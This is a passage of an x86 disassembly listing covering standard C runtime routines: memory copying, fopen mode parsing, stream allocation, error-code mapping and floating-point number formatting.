		dd offset loc_417914
		dd offset loc_417920
		dd offset loc_417934
; ---------------------------------------------------------------------------


loc_41790C:				; CODE XREF: sub_4177B0+35j
					; sub_4177B0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417914:				; CODE XREF: sub_4177B0+35j
					; sub_4177B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417920:				; CODE XREF: sub_4177B0+35j
					; sub_4177B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417934:				; CODE XREF: sub_4177B0+35j
					; sub_4177B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41794C:				; CODE XREF: sub_4177B0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_417980
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417974
		std
		rep movsd
		cld
		jmp	ds:off_417A98[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_417974:				; CODE XREF: sub_4177B0+1B5j
					; sub_4177B0+210j ...
		neg	ecx
		jmp	ds:off_417A48[ecx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417980:				; CODE XREF: sub_4177B0+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417998
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_417998+4[eax*4]
; ---------------------------------------------------------------------------


loc_417998:				; CODE XREF: sub_4177B0+1DAj
					; DATA XREF: sub_4177B0+1E1r
		jmp	ds:off_417A98[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		lodsb
		jns	short loc_4179E4
		add	al, dl
		jns	short near ptr loc_4179E7+1
		add	al, bh
		jns	short loc_4179EC
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_417974
		std
		rep movsd
		cld
		jmp	ds:off_417A98[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2


loc_4179E4:				; CODE XREF: sub_4177B0+1F1j
		sub	edi, 2


loc_4179E7:				; CODE XREF: sub_4177B0+1F5j
		cmp	ecx, 8
		jb	short loc_417974


loc_4179EC:				; CODE XREF: sub_4177B0+1F9j
		std
		rep movsd
		cld
		jmp	ds:off_417A98[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417974
		std
		rep movsd
		cld
		jmp	ds:off_417A98[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417A4C
		dd offset loc_417A54
		dd offset loc_417A5C
		dd offset loc_417A64
		dd offset loc_417A6C
		dd offset loc_417A74
		dd offset loc_417A7C
off_417A48	dd offset loc_417A8F	; DATA XREF: sub_4177B0+1C6r
; ---------------------------------------------------------------------------


loc_417A4C:				; DATA XREF: sub_4177B0+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_417A54:				; DATA XREF: sub_4177B0+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_417A5C:				; DATA XREF: sub_4177B0+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_417A64:				; DATA XREF: sub_4177B0+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_417A6C:				; DATA XREF: sub_4177B0+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_417A74:				; DATA XREF: sub_4177B0+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_417A7C:				; DATA XREF: sub_4177B0+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_417A8F:				; CODE XREF: sub_4177B0+1C6j
					; DATA XREF: sub_4177B0:off_417A48o
		jmp	ds:off_417A98[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_417A98	dd offset loc_417AA8	; DATA XREF: sub_4177B0+1BBr
					; sub_4177B0:loc_417998r ...
		dd offset loc_417AB0
		dd offset loc_417AC0
		dd offset loc_417AD4
; ---------------------------------------------------------------------------


loc_417AA8:				; CODE XREF: sub_4177B0+1BBj
					; sub_4177B0:loc_417998j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417AB0:				; CODE XREF: sub_4177B0+1BBj
					; sub_4177B0:loc_417998j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417AC0:				; CODE XREF: sub_4177B0+1BBj
					; sub_4177B0:loc_417998j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417AD4:				; CODE XREF: sub_4177B0+1BBj
					; sub_4177B0:loc_417998j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4177B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AED	proc near		; CODE XREF: sub_41318A+150p
					; sub_41318A+19Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_47A010
		test	eax, eax
		jz	short loc_417B05
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_417B05
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_417B05:				; CODE XREF: sub_417AED+7j
					; sub_417AED+12j
		xor	eax, eax
		retn
sub_417AED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B08	proc near		; CODE XREF: sub_413337+35p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_47A1B8
		push	edi
		mov	edi, [ebp+arg_4]
		mov	al, [edi]
		xor	ebx, ebx
		cmp	al, 61h
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		jz	short loc_417B41
		cmp	al, 72h
		jz	short loc_417B3A
		cmp	al, 77h
		jnz	loc_417C4D
		mov	ecx, 301h
		jmp	short loc_417B46
; ---------------------------------------------------------------------------


loc_417B3A:				; CODE XREF: sub_417B08+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_417B49
; ---------------------------------------------------------------------------


loc_417B41:				; CODE XREF: sub_417B08+1Dj
		mov	ecx, 109h


loc_417B46:				; CODE XREF: sub_417B08+30j
		or	esi, 2


loc_417B49:				; CODE XREF: sub_417B08+37j
		xor	edx, edx
		inc	edx
		jmp	loc_417C28
; ---------------------------------------------------------------------------


loc_417B51:				; CODE XREF: sub_417B08+125j
		cmp	edx, ebx
		jz	loc_417C33
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_417BD2
		jz	short loc_417BC5
		sub	eax, 2Bh
		jz	short loc_417BAF
		sub	eax, 19h
		jz	short loc_417BA5
		sub	eax, 0Eh
		jz	short loc_417B91
		dec	eax
		jnz	loc_417C0A
		cmp	[ebp+var_4], ebx
		jnz	loc_417C0A
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	loc_417C28
; ---------------------------------------------------------------------------


loc_417B91:				; CODE XREF: sub_417B08+68j
		cmp	[ebp+var_4], ebx
		jnz	short loc_417C0A
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	loc_417C28
; ---------------------------------------------------------------------------


loc_417BA5:				; CODE XREF: sub_417B08+63j
		test	cl, 40h
		jnz	short loc_417C0A
		or	ecx, 40h
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417BAF:				; CODE XREF: sub_417B08+5Ej
		test	cl, 2
		jnz	short loc_417C0A
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417BC5:				; CODE XREF: sub_417B08+59j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_417C0A
		or	ecx, eax
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417BD2:				; CODE XREF: sub_417B08+57j
		sub	eax, 62h
		jz	short loc_417C1D
		dec	eax
		jz	short loc_417C05
		sub	eax, 0Bh
		jz	short loc_417BF1
		sub	eax, 6
		jnz	short loc_417C0A
		test	ch, 0C0h
		jnz	short loc_417C0A
		or	ecx, 4000h
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417BF1:				; CODE XREF: sub_417B08+D5j
		cmp	[ebp+var_8], ebx
		jnz	short loc_417C0A
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417C05:				; CODE XREF: sub_417B08+D0j
		cmp	[ebp+var_8], ebx
		jz	short loc_417C0E


loc_417C0A:				; CODE XREF: sub_417B08+6Bj
					; sub_417B08+74j ...
		xor	edx, edx
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417C0E:				; CODE XREF: sub_417B08+100j
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	short loc_417C28
; ---------------------------------------------------------------------------


loc_417C1D:				; CODE XREF: sub_417B08+CDj
		test	ch, 0C0h
		jnz	short loc_417C0A
		or	ecx, 8000h


loc_417C28:				; CODE XREF: sub_417B08+44j
					; sub_417B08+84j ...
		inc	edi
		mov	al, [edi]
		cmp	al, bl
		jnz	loc_417B51


loc_417C33:				; CODE XREF: sub_417B08+4Bj
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41C294
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_417C51


loc_417C4D:				; CODE XREF: sub_417B08+25j
		xor	eax, eax
		jmp	short loc_417C6B
; ---------------------------------------------------------------------------


loc_417C51:				; CODE XREF: sub_417B08+143j
		mov	eax, [ebp+arg_C]
		inc	dword_479EB8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_417C6B:				; CODE XREF: sub_417B08+147j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B08	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C70	proc near		; CODE XREF: sub_413337+18p
					; sub_4134AF+2Bp ...
		call	sub_415456
		add	eax, 8
		retn
sub_417C70	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C79	proc near		; CODE XREF: sub_4134AF+36p
					; sub_416387+8Ap ...
		call	sub_415456
		add	eax, 0Ch
		retn
sub_417C79	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C82	proc near		; CODE XREF: sub_4134AF+16p
					; sub_414125+1Dp ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_415456
		mov	ecx, [esp+4+arg_0]
		mov	[eax+0Ch], ecx
		xor	esi, esi


loc_417C91:				; CODE XREF: sub_417C82+1Cj
		cmp	ecx, dword_42CCB0[esi*8]
		jz	short loc_417CB8
		inc	esi
		cmp	esi, 2Dh
		jb	short loc_417C91
		cmp	ecx, 13h
		jb	short loc_417CC9
		cmp	ecx, 24h
		ja	short loc_417CC9
		call	sub_415456
		mov	dword ptr [eax+8], 0Dh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417CB8:				; CODE XREF: sub_417C82+16j
		call	sub_415456
		mov	ecx, dword_42CCB4[esi*8]
		mov	[eax+8], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417CC9:				; CODE XREF: sub_417C82+21j
					; sub_417C82+26j
		cmp	ecx, 0BCh
		jb	short loc_417CE7
		cmp	ecx, 0CAh
		ja	short loc_417CE7
		call	sub_415456
		mov	dword ptr [eax+8], 8
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417CE7:				; CODE XREF: sub_417C82+4Dj
					; sub_417C82+55j
		call	sub_415456
		mov	dword ptr [eax+8], 16h
		pop	esi
		retn
sub_417C82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CF5	proc near		; CODE XREF: sub_413337+Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_427A50
		call	__SEH_prolog
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	1
		call	sub_416901
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		xor	esi, esi


loc_417D15:				; CODE XREF: sub_417CF5+85j
		mov	[ebp+var_20], esi
		cmp	esi, dword_47B660
		jge	loc_417DE4
		mov	eax, dword_47A644
		mov	eax, [eax+esi*4]
		cmp	eax, ebx
		jz	short loc_417D80
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_417D79
		cmp	esi, 2
		jle	short loc_417D52
		cmp	esi, 14h
		jge	short loc_417D52
		lea	eax, [esi+10h]
		push	eax
		call	sub_416882
		pop	ecx
		test	eax, eax
		jz	loc_417DE4


loc_417D52:				; CODE XREF: sub_417CF5+44j
					; sub_417CF5+49j
		mov	eax, dword_47A644
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_4166A2
		pop	ecx
		pop	ecx
		mov	eax, dword_47A644
		mov	eax, [eax+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_417D7C
		push	eax
		push	esi
		call	sub_4166F4
		pop	ecx
		pop	ecx


loc_417D79:				; CODE XREF: sub_417CF5+3Fj
		inc	esi
		jmp	short loc_417D15
; ---------------------------------------------------------------------------


loc_417D7C:				; CODE XREF: sub_417CF5+79j
		mov	edi, eax
		jmp	short loc_417DE1
; ---------------------------------------------------------------------------


loc_417D80:				; CODE XREF: sub_417CF5+39j
		shl	esi, 2
		push	38h
		call	sub_41344D
		pop	ecx
		mov	ecx, dword_47A644
		mov	[esi+ecx], eax
		mov	eax, dword_47A644
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_417DE4
		push	0FA0h
		add	eax, 20h
		push	eax
		call	sub_41BBD8
		pop	ecx
		pop	ecx
		test	eax, eax
		mov	eax, dword_47A644
		jnz	short loc_417DCC
		push	dword ptr [esi+eax]
		call	sub_412FE4
		pop	ecx
		mov	eax, dword_47A644
		mov	[esi+eax], ebx
		jmp	short loc_417DE4
; ---------------------------------------------------------------------------


loc_417DCC:				; CODE XREF: sub_417CF5+C2j
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:dword_41F01C	; RtlEnterCriticalSection
		mov	eax, dword_47A644
		mov	edi, [esi+eax]


loc_417DE1:				; CODE XREF: sub_417CF5+89j
		mov	[ebp+var_1C], edi


loc_417DE4:				; CODE XREF: sub_417CF5+29j
					; sub_417CF5+57j ...
		cmp	edi, ebx
		jz	short loc_417DFA
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx
		or	dword ptr [edi+10h], 0FFFFFFFFh


loc_417DFA:				; CODE XREF: sub_417CF5+F1j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_417E0E
		mov	eax, edi
		call	__SEH_epilog
		retn
sub_417CF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E0B	proc near		; DATA XREF: .rdata:stru_427A50o
		mov	edi, [ebp-1Ch]
sub_417E0B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417E0E	proc near		; CODE XREF: sub_417CF5+109p
		push	1
		call	sub_41686D
		pop	ecx
		retn
sub_417E0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E17	proc near		; DATA XREF: sub_413460+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_413A6E
		cmp	eax, 65h
		jmp	short loc_417E36
; ---------------------------------------------------------------------------


loc_417E2A:				; CODE XREF: sub_417E17+20j
		inc	esi
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41ABBC
		test	eax, eax


loc_417E36:				; CODE XREF: sub_417E17+11j
		pop	ecx
		jnz	short loc_417E2A
		mov	al, [esi]
		mov	cl, byte_42D090
		mov	[esi], cl
		inc	esi


loc_417E44:				; CODE XREF: sub_417E17+38j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_417E44
		pop	esi
		retn
sub_417E17	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E53	proc near		; DATA XREF: sub_413460+Ao

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	bl, byte_42D090
		jmp	short loc_417E65
; ---------------------------------------------------------------------------


loc_417E60:				; CODE XREF: sub_417E53+16j
		cmp	cl, bl
		jz	short loc_417E6B
		inc	eax


loc_417E65:				; CODE XREF: sub_417E53+Bj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_417E60


loc_417E6B:				; CODE XREF: sub_417E53+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_417E9C
		jmp	short loc_417E7F
; ---------------------------------------------------------------------------


loc_417E74:				; CODE XREF: sub_417E53+30j
		cmp	cl, 65h
		jz	short loc_417E85
		cmp	cl, 45h
		jz	short loc_417E85
		inc	eax


loc_417E7F:				; CODE XREF: sub_417E53+1Fj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_417E74


loc_417E85:				; CODE XREF: sub_417E53+24j
					; sub_417E53+29j
		mov	edx, eax


loc_417E87:				; CODE XREF: sub_417E53+38j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_417E87
		cmp	[eax], bl
		jnz	short loc_417E92
		dec	eax


loc_417E92:				; CODE XREF: sub_417E53+3Cj
					; sub_417E53+47j
		mov	cl, [edx]
		inc	eax
		inc	edx
		test	cl, cl
		mov	[eax], cl
		jnz	short loc_417E92


loc_417E9C:				; CODE XREF: sub_417E53+1Dj
		pop	ebx
		retn
sub_417E53	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E9E	proc near		; DATA XREF: sub_413460+28o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_427A60
		fnstsw	ax
		test	ah, 1
		jnz	short loc_417EB5
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_417EB5:				; CODE XREF: sub_417E9E+11j
		xor	eax, eax
		retn
sub_417E9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EB8	proc near		; DATA XREF: sub_413460+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_417EE1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C60D
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417EE1:				; CODE XREF: sub_417EB8+Cj
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41C650
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		leave
		retn
sub_417EB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417EF6	proc near		; CODE XREF: sub_417F13+23p
					; sub_418035+45p ...
		test	edi, edi
		push	esi
		mov	esi, eax
		jz	short loc_417F11
		push	esi
		call	sub_416000
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41BC70
		add	esp, 10h


loc_417F11:				; CODE XREF: sub_417EF6+5j
		pop	esi
		retn
sub_417EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F13	proc near		; CODE XREF: sub_417FC1+5Bp
					; sub_418139+88p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		push	esi
		mov	esi, eax
		jz	short loc_417F3C
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	edi
		setnle	al
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		mov	edi, eax
		add	ecx, ebx
		mov	eax, ecx
		call	sub_417EF6
		pop	edi


loc_417F3C:				; CODE XREF: sub_417F13+Aj
		cmp	dword ptr [esi], 2Dh
		mov	eax, ebx
		jnz	short loc_417F49
		mov	byte ptr [ebx],	2Dh
		lea	eax, [ebx+1]


loc_417F49:				; CODE XREF: sub_417F13+2Ej
		cmp	[ebp+arg_0], 0
		jle	short loc_417F60
		lea	ecx, [eax+1]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, ecx
		mov	cl, byte_42D090
		mov	[eax], cl


loc_417F60:				; CODE XREF: sub_417F13+3Aj
		xor	ecx, ecx
		cmp	[ebp+arg_8], cl
		push	offset dword_427A68
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B390
		cmp	[ebp+arg_4], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_417F85
		mov	byte ptr [ecx],	45h


loc_417F85:				; CODE XREF: sub_417F13+6Dj
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_417FBC
		mov	eax, [esi+4]
		dec	eax
		jns	short loc_417F99
		neg	eax
		mov	byte ptr [ecx],	2Dh


loc_417F99:				; CODE XREF: sub_417F13+7Fj
		inc	ecx
		cmp	eax, 64h
		jl	short loc_417FA9
		cdq
		push	64h
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_417FA9:				; CODE XREF: sub_417F13+8Aj
		inc	ecx
		cmp	eax, 0Ah
		jl	short loc_417FB9
		cdq
		push	0Ah
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_417FB9:				; CODE XREF: sub_417F13+9Aj
		add	[ecx+1], al


loc_417FBC:				; CODE XREF: sub_417F13+79j
		mov	eax, ebx
		pop	esi
		pop	ebp
		retn
sub_417F13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FC1	proc near		; CODE XREF: sub_4181D9+47p

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		push	esi
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41C7C4
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [esi+1]
		push	eax
		xor	eax, eax
		cmp	[ebp+var_14], 2Dh
		mov	edx, ebx
		setz	al
		xor	ecx, ecx
		test	esi, esi
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41C693
		push	0
		push	[ebp+arg_C]
		lea	eax, [ebp+var_14]
		push	esi
		call	sub_417F13
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 28h
		pop	esi
		mov	eax, ebx
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_417FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418035	proc near		; CODE XREF: sub_4180D1+4Fp
					; sub_418139+75p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, [esi+4]
		dec	eax
		cmp	[ebp+arg_8], 0
		push	edi
		jz	short loc_418062
		cmp	eax, [ebp+arg_4]
		jnz	short loc_418062
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0


loc_418062:				; CODE XREF: sub_418035+10j
					; sub_418035+15j
		cmp	dword ptr [esi], 2Dh
		mov	ebx, [ebp+arg_0]
		jnz	short loc_41806E
		mov	byte ptr [ebx],	2Dh
		inc	ebx


loc_41806E:				; CODE XREF: sub_418035+33j
		mov	eax, [esi+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
		jg	short loc_418085
		mov	eax, ebx
		call	sub_417EF6
		mov	byte ptr [ebx],	30h
		inc	ebx
		jmp	short loc_418087
; ---------------------------------------------------------------------------


loc_418085:				; CODE XREF: sub_418035+41j
		add	ebx, eax


loc_418087:				; CODE XREF: sub_418035+4Ej
		cmp	[ebp+arg_4], 0
		jle	short loc_4180C9
		mov	eax, ebx
		call	sub_417EF6
		mov	al, byte_42D090
		mov	[ebx], al
		mov	esi, [esi+4]
		inc	ebx
		test	esi, esi
		jge	short loc_4180C9
		neg	esi
		cmp	[ebp+arg_8], 0
		jnz	short loc_4180B0
		cmp	[ebp+arg_4], esi
		jl	short loc_4180B3


loc_4180B0:				; CODE XREF: sub_418035+74j
		mov	[ebp+arg_4], esi


loc_4180B3:				; CODE XREF: sub_418035+79j
		mov	edi, [ebp+arg_4]
		mov	eax, ebx
		call	sub_417EF6
		push	edi
		push	30h
		push	ebx
		call	sub_41ADD0
		add	esp, 0Ch


loc_4180C9:				; CODE XREF: sub_418035+56j
					; sub_418035+6Cj
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418035	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180D1	proc near		; CODE XREF: sub_4181D9+1Ep

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41C7C4
		mov	esi, [ebp+arg_8]
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+var_10]
		add	eax, esi
		push	eax
		xor	eax, eax
		cmp	[ebp+var_14], 2Dh
		setz	al
		add	eax, [ebp+arg_4]
		push	eax
		call	sub_41C693
		push	0
		push	esi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_14]
		call	sub_418035
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+arg_4]
		add	esp, 28h
		pop	esi
		call	sub_4182D6
		leave
		retn
sub_4180D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418139	proc near		; CODE XREF: sub_4181D9+34p

var_2C		= byte ptr -2Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	edi
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_41C7C4
		mov	esi, [ebp+var_10]
		mov	ebx, [ebp+arg_8]
		xor	eax, eax
